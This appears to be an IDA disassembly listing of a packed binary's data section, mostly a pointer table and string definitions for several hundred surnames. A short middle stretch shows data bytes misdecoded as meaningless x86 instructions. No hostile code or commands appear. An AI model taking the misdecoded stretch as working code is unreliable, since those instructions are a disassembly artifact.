offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" ; --------------------------------------------------------------------------- mov al, 0F7h inc edx add [edi+esi*8-863FFBEh], ah inc edx add [eax-77FFBD09h], dl loc_42EB41: ; CODE XREF: .packed:0042EB48j test dword ptr [edx+0], offset aScudder ; "Scudder" js short loc_42EB41 inc edx add [eax-9], dh inc edx add [eax-9], ch inc edx add [eax-9], ah inc edx add [eax-9], bl inc edx add [edi+esi*8+42h], dl add [edi+esi*8+42h], cl add [eax-9], al inc edx add [eax], bh test dword ptr [edx+0], offset aSeyfert ; "Seyfert" sub bh, dh inc edx add [eax], ah test dword ptr [edx+0], offset aShankland ; "Shankland" or al, 0F7h inc edx add [edi+esi*8], al inc edx add ah, bh test byte ptr [edx+0], 0F0h test byte ptr [edx+0], 0E8h test byte ptr [edx+0], 0E0h test byte ptr [edx+0], 0D4h test byte ptr [edx+0], 0C8h test byte ptr [edx+0], 0BCh test byte ptr [edx+0], 0B4h test byte ptr [edx+0], 0ACh test byte ptr [edx+0], 0A4h test byte ptr [edx+0], 9Ch test byte ptr [edx+0], 94h test byte ptr [edx+0], 8Ch test byte ptr [edx+0], 84h test byte ptr [edx+0], 7Ch test byte ptr [edx+0], 70h test byte ptr [edx+0], 64h test byte ptr [edx+0], 58h test byte ptr [edx+0], 50h test byte ptr [edx+0], 48h test byte ptr [edx+0], 40h test byte ptr [edx+0], 38h test byte ptr [edx+0], 30h test byte ptr [edx+0], 28h test byte ptr [edx+0], 20h test byte ptr [edx+0], 18h test byte ptr [edx+0], 10h test byte ptr [edx+0], 4 test byte ptr [edx+0], 0FCh cmc inc edx add ah, dh cmc inc edx add ah, ch cmc inc edx add al, ah cmc inc edx add ah, dl cmc inc edx add ah, cl cmc inc edx add ah, al cmc inc edx add [ebp+esi*8-0A4BFFBEh], bh inc edx add [eax-5FFFBD0Bh], ch cmc inc edx add [eax-73FFBD0Bh], bl cmc inc edx add [ebp+esi*8-0A83FFBEh], al inc edx add [ebp+esi*8+42h], dh add [ebp+esi*8+42h], ch add [ebp+esi*8+42h], bl add [eax-0Bh], dl inc edx add [eax-0Bh], cl inc edx add ds:0F5340042h[esi*8], bh inc edx add ds:0F5240042h[esi*8], ch inc edx add ds:0F50C0042h[esi*8], dl inc edx ; --------------------------------------------------------------------------- db 0 dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" dd offset aTroiani ; "Troiani" dd offset aTroy ; "Troy" dd offset aTruss ; "Truss" dd offset aTsiatis ; "Tsiatis" dd offset aTsomides ; "Tsomides" dd offset aTsukurov ; "Tsukurov" dd offset aTuck ; "Tuck" dd offset aTudge ; "Tudge" dd offset aTukan ; "Tukan" dd offset aTurano ; "Turano" dd offset aTurek ; "Turek" dd offset aTuttle ; "Tuttle" dd offset aTwells ; "Twells" dd offset aTzamarias ; "Tzamarias" dd offset aUllman ; "Ullman" dd offset aUntermeyer ; "Untermeyer" dd offset aUpsdell ; "Upsdell" dd offset aUrban ; "Urban" dd offset aUrdangBrown ; "Urdang-Brown" dd offset aUsdan ; "Usdan" dd offset aUzuner ; "Uzuner" dd offset aVacca ; "Vacca" dd offset aWaite ; "Waite" dd offset aValberg ; "Valberg" dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" dd offset aWalter ; "Walter" dd offset aVanallen ; "vanAllen" dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" dd offset aVasquez ; "Vasquez" dd offset aWaugh ; "Waugh" dd offset aWeighart ; "Weighart" dd offset aWeingarten ; "Weingarten" dd offset aWeinhaus ; "Weinhaus" dd offset aWeissbourd ; "Weissbourd" dd offset aWeissman ; "Weissman" dd offset aVelasquez ; "Velasquez" dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" dd offset aZahedi ; "Zahedi" dd offset aZangwill ; "Zangwill" dd offset aZegans ; "Zegans" dd offset aZerbini ; "Zerbini" dd offset aZoldak ; "Zoldak" dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aZytowski db 'Zytowski',0 ; DATA XREF: .packed:0042EEF8o align 4 aZwiers db 'Zwiers',0 ; DATA XREF: .packed:0042EEF4o align 10h aZurn db 'Zurn',0 ; DATA XREF: .packed:0042EEF0o align 4 aZucconi db 'Zucconi',0 ; DATA XREF: .packed:0042EEECo aZoldak db 'Zoldak',0 ; DATA XREF: .packed:0042EEE8o align 4 aZerbini db 'Zerbini',0 ; DATA XREF: .packed:0042EEE4o aZegans db 'Zegans',0 ; DATA XREF: .packed:0042EEE0o align 4 aZangwill db 'Zangwill',0 ; DATA XREF: .packed:0042EEDCo align 4 aZahedi db 'Zahedi',0 ; DATA XREF: .packed:0042EED8o align 4 aZachary db 'Zachary',0 ; DATA XREF: .packed:0042EED4o aYu db 'Yu',0 ; DATA XREF: .packed:0042EED0o align 4 aYoukSee db 'Youk-See',0 ; DATA XREF: .packed:0042EECCo align 4 aYoo db 'Yoo',0 ; DATA XREF: .packed:0042EEC8o aYoffe db 'Yoffe',0 ; DATA XREF: .packed:0042EEC4o align 10h aYetiv db 'Yetiv',0 ; DATA XREF: .packed:0042EEC0o align 4 aYesson db 'Yesson',0 ; DATA XREF: .packed:0042EEBCo align 10h aYedidia db 'Yedidia',0 ; DATA XREF: .packed:0042EEB8o aYbarra db 'Ybarra',0 ; DATA XREF: .packed:0042EEB4o align 10h aYates db 'Yates',0 ; DATA XREF: .packed:0042EEB0o align 4 aYarchuk db 'Yarchuk',0 ; DATA XREF: .packed:0042EEACo aYankee db 'Yankee',0 ; DATA XREF: .packed:0042EEA8o align 4 aYamane db 'Yamane',0 ; DATA XREF: .packed:0042EEA4o align 10h aYacono db 'Yacono',0 ; DATA XREF: .packed:0042EEA0o align 4 aVotey db 'Votey',0 ; DATA XREF: .packed:0042EE9Co align 10h aVorhaus db 'Vorhaus',0 ; DATA XREF: .packed:0042EE98o aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: .packed:0042EE94o align 4 aWoods db 'Woods',0 ; DATA XREF: .packed:0042EE90o align 10h aWooden db 'Wooden',0 ; DATA XREF: .packed:0042EE8Co align 4 aWoo db 'Woo',0 ; DATA XREF: .packed:0042EE88o aVonhoffman db 'VonHoffman',0 ; DATA XREF: .packed:0042EE84o align 4 aWolk db 'Wolk',0 ; DATA XREF: .packed:0042EE80o align 10h aVoigt db 'Voigt',0 ; DATA XREF: .packed:0042EE7Co align 4 aViviani db 'Viviani',0 ; DATA XREF: .packed:0042EE78o aVitali db 'Vitali',0 ; DATA XREF: .packed:0042EE74o align 4 aWilson db 'Wilson',0 ; DATA XREF: .packed:0042EE70o align 10h aWillstatter db 'Willstatter',0 ; DATA XREF: .packed:0042EE6Co aVillarreal db 'Villarreal',0 ; DATA XREF: .packed:0042EE68o align 4 aWilkinson db 'Wilkinson',0 ; DATA XREF: .packed:0042EE64o align 4 aWilkin db 'Wilkin',0 ; DATA XREF: .packed:0042EE60o align 4 aWilk db 'Wilk',0 ; DATA XREF: .packed:0042EE5Co align 4 aWilhelm db 'Wilhelm',0 ; DATA XREF: .packed:0042EE58o aWilder db 'Wilder',0 ; DATA XREF: .packed:0042EE54o align 4 aVignola db 'Vignola',0 ; DATA XREF: .packed:0042EE50o aViens db 'Viens',0 ; DATA XREF: .packed:0042EE4Co align 4 aWiener db 'Wiener',0 ; DATA XREF: .packed:0042EE48o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: .packed:0042EE44o aViano db 'Viano',0 ; DATA XREF: .packed:0042EE40o align 10h aViana db 'Viana',0 ; DATA XREF: .packed:0042EE3Co align 4 aWhittaker db 'Whittaker',0 ; DATA XREF: .packed:0042EE38o align 4 aWhitla db 'Whitla',0 ; DATA XREF: .packed:0042EE34o align 4 aWhite db 'White',0 ; DATA XREF: .packed:0042EE30o align 4 aWhilton db 'Whilton',0 ; DATA XREF: .packed:0042EE2Co aWhately db 'Whately',0 ; DATA XREF: .packed:0042EE28o aWetzel db 'Wetzel',0 ; DATA XREF: .packed:0042EE24o align 4 aWescott db 'Wescott',0 ; DATA XREF: .packed:0042EE20o aVerghese db 'Verghese',0 ; DATA XREF: .packed:0042EE1Co align 10h aVenne db 'Venne',0 ; DATA XREF: .packed:0042EE18o align 4 aWengret db 'Wengret',0 ; DATA XREF: .packed:0042EE14o aWelsh db 'Welsh',0 ; DATA XREF: .packed:0042EE10o align 4 aWelles db 'Welles',0 ; DATA XREF: .packed:0042EE0Co align 10h aVelasquez db 'Velasquez',0 ; DATA XREF: .packed:0042EE08o align 4 aWeissman db 'Weissman',0 ; DATA XREF: .packed:0042EE04o align 4 aWeissbourd db 'Weissbourd',0 ; DATA XREF: .packed:0042EE00o align 4 aWeinhaus db 'Weinhaus',0 ; DATA XREF: .packed:0042EDFCo align 10h aWeingarten db 'Weingarten',0 ; DATA XREF: .packed:0042EDF8o align 4 aWeighart db 'Weighart',0 ; DATA XREF: .packed:0042EDF4o align 4 aWaugh db 'Waugh',0 ; DATA XREF: .packed:0042EDF0o align 10h aVasquez db 'Vasquez',0 ; DATA XREF: .packed:0042EDECo aWasowska db 'Wasowska',0 ; DATA XREF: .packed:0042EDE8o align 4 aWarshafsky db 'Warshafsky',0 ; DATA XREF: .packed:0042EDE4o align 10h aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: .packed:0042EDE0o align 10h aVandenberg db 'Vandenberg',0 ; DATA XREF: .packed:0042EDDCo align 4 aVanzwet db 'VanZwet',0 ; DATA XREF: .packed:0042EDD8o aVanallen db 'vanAllen',0 ; DATA XREF: .packed:0042EDD4o align 10h aWalter db 'Walter',0 ; DATA XREF: .packed:0042EDD0o align 4 aWallenberg db 'Wallenberg',0 ; DATA XREF: .packed:0042EDCCo align 4 aWales db 'Wales',0 ; DATA XREF: .packed:0042EDC8o align 4 aValencia db 'Valencia',0 ; DATA XREF: .packed:0042EDC4o align 4 aValberg db 'Valberg',0 ; DATA XREF: .packed:0042EDC0o aWaite db 'Waite',0 ; DATA XREF: .packed:0042EDBCo align 4 aVacca db 'Vacca',0 ; DATA XREF: .packed:0042EDB8o align 10h aUzuner db 'Uzuner',0 ; DATA XREF: .packed:0042EDB4o align 4 aUsdan db 'Usdan',0 ; DATA XREF: .packed:0042EDB0o align 10h aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: .packed:0042EDACo align 10h aUrban db 'Urban',0 ; DATA XREF: .packed:0042EDA8o align 4 aUpsdell db 'Upsdell',0 ; DATA XREF: .packed:0042EDA4o aUntermeyer db 'Untermeyer',0 ; DATA XREF: .packed:0042EDA0o align 4 aUllman db 'Ullman',0 ; DATA XREF: .packed:0042ED9Co align 4 aTzamarias db 'Tzamarias',0 ; DATA XREF: .packed:0042ED98o align 10h aTwells db 'Twells',0 ; DATA XREF: .packed:0042ED94o align 4 aTuttle db 'Tuttle',0 ; DATA XREF: .packed:0042ED90o align 10h aTurek db 'Turek',0 ; DATA XREF: .packed:0042ED8Co align 4 aTurano db 'Turano',0 ; DATA XREF: .packed:0042ED88o align 10h aTukan db 'Tukan',0 ; DATA XREF: .packed:0042ED84o align 4 aTudge db 'Tudge',0 ; DATA XREF: .packed:0042ED80o align 10h aTuck db 'Tuck',0 ; DATA XREF: .packed:0042ED7Co align 4 aTsukurov db 'Tsukurov',0 ; DATA XREF: .packed:0042ED78o align 4 aTsomides db 'Tsomides',0 ; DATA XREF: .packed:0042ED74o align 10h aTsiatis db 'Tsiatis',0 ; DATA XREF: .packed:0042ED70o aTruss db 'Truss',0 ; DATA XREF: .packed:0042ED6Co align 10h aTroy db 'Troy',0 ; DATA XREF: .packed:0042ED68o align 4 aTroiani db 'Troiani',0 ; DATA XREF: .packed:0042ED64o aTringali db 'Tringali',0 ; DATA XREF: .packed:0042ED60o align 4 aTrewin db 'Trewin',0 ; DATA XREF: .packed:0042ED5Co align 4 aTrenga db 'Trenga',0 ; DATA XREF: .packed:0042ED58o align 4 aTraebert db 'Traebert',0 ; DATA XREF: .packed:0042ED54o align 4 aToye db 'Toye',0 ; DATA XREF: .packed:0042ED50o align 10h aTowler db 'Towler',0 ; DATA XREF: .packed:0042ED4Co align 4 aTorske db 'Torske',0 ; DATA XREF: .packed:0042ED48o align 10h aTorresi db 'Torresi',0 ; DATA XREF: .packed:0042ED44o aTopulos db 'Topulos',0 ; DATA XREF: .packed:0042ED40o aToomer db 'Toomer',0 ; DATA XREF: .packed:0042ED3Co align 4 aTomford db 'Tomford',0 ; DATA XREF: .packed:0042ED38o aTolman db 'Tolman',0 ; DATA XREF: .packed:0042ED34o align 4 aTolls db 'Tolls',0 ; DATA XREF: .packed:0042ED30o align 10h aTollestrup db 'Tollestrup',0 ; DATA XREF: .packed:0042ED2Co align 4 aTofallis db 'Tofallis',0 ; DATA XREF: .packed:0042ED28o align 4 aTimmons db 'Timmons',0 ; DATA XREF: .packed:0042ED24o aTill db 'Till',0 ; DATA XREF: .packed:0042ED20o align 4 aTierney db 'Tierney',0 ; DATA XREF: .packed:0042ED1Co aThroop db 'Throop',0 ; DATA XREF: .packed:0042ED18o align 4 aThomsen db 'Thomsen',0 ; DATA XREF: .packed:0042ED14o aThisted db 'Thisted',0 ; DATA XREF: .packed:0042ED10o aThibault db 'Thibault',0 ; DATA XREF: .packed:0042ED0Co align 4 aTheodos db 'Theodos',0 ; DATA XREF: .packed:0042ED08o aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: .packed:0042ED04o align 4 aThan db 'Than',0 ; DATA XREF: .packed:0042ED00o align 4 aTerracini db 'Terracini',0 ; DATA XREF: .packed:0042ECFCo align 10h aTenney db 'Tenney',0 ; DATA XREF: .packed:0042ECF8o align 4 aTemmer db 'Temmer',0 ; DATA XREF: .packed:0042ECF4o align 10h aTemes db 'Temes',0 ; DATA XREF: .packed:0042ECF0o align 4 aTeague db 'Teague',0 ; DATA XREF: .packed:0042ECECo align 10h aTcherepnin db 'Tcherepnin',0 ; DATA XREF: .packed:0042ECE8o align 4 aTawn db 'Tawn',0 ; DATA XREF: .packed:0042ECE4o align 4 aTaveras db 'Taveras',0 ; DATA XREF: .packed:0042ECE0o aTatar db 'Tatar',0 ; DATA XREF: .packed:0042ECDCo align 4 aTanowitz db 'Tanowitz',0 ; DATA XREF: .packed:0042ECD8o align 10h aTandler db 'Tandler',0 ; DATA XREF: .packed:0042ECD4o aTambiah db 'Tambiah',0 ; DATA XREF: .packed:0042ECD0o aTalaugon db 'Talaugon',0 ; DATA XREF: .packed:0042ECCCo align 4 aTai db 'Tai',0 ; DATA XREF: .packed:0042ECC8o aTagiuri db 'Tagiuri',0 ; DATA XREF: .packed:0042ECC4o aSwindle db 'Swindle',0 ; DATA XREF: .packed:0042ECC0o aSweetser db 'Sweetser',0 ; DATA XREF: .packed:0042ECBCo align 4 aSweeting db 'Sweeting',0 ; DATA XREF: .packed:0042ECB8o align 4 aSurdam db 'Surdam',0 ; DATA XREF: .packed:0042ECB4o align 10h aSuo db 'Suo',0 ; DATA XREF: .packed:0042ECB0o aSumner db 'Sumner',0 ; DATA XREF: .packed:0042ECACo align 4 aSullivan db 'Sullivan',0 ; DATA XREF: .packed:0042ECA8o align 4 aStringer db 'Stringer',0 ; DATA XREF: .packed:0042ECA4o align 4 aStreiff db 'Streiff',0 ; DATA XREF: .packed:0042ECA0o aStrauch db 'Strauch',0 ; DATA XREF: .packed:0042EC9Co aStrange db 'Strange',0 ; DATA XREF: .packed:0042EC98o aStott db 'Stott',0 ; DATA XREF: .packed:0042EC94o align 4 aStorer db 'Storer',0 ; DATA XREF: .packed:0042EC90o align 4 aStonich db 'Stonich',0 ; DATA XREF: .packed:0042EC8Co aStolzenberg db 'Stolzenberg',0 ; DATA XREF: .packed:0042EC88o aStockwell db 'Stockwell',0 ; DATA XREF: .packed:0042EC84o align 4 aStockton db 'Stockton',0 ; DATA XREF: .packed:0042EC80o align 4 aStock db 'Stock',0 ; DATA XREF: .packed:0042EC7Co align 10h aStillwell db 'Stillwell',0 ; DATA XREF: .packed:0042EC78o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: .packed:0042EC74o align 4 aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: .packed:0042EC70o align 4 aStepniewska db 'Stepniewska',0 ; DATA XREF: .packed:0042EC6Co aStephanian db 'Stephanian',0 ; DATA XREF: .packed:0042EC68o align 10h aSteiner db 'Steiner',0 ; DATA XREF: .packed:0042EC64o aStefani db 'Stefani',0 ; DATA XREF: .packed:0042EC60o aStatlender db 'Statlender',0 ; 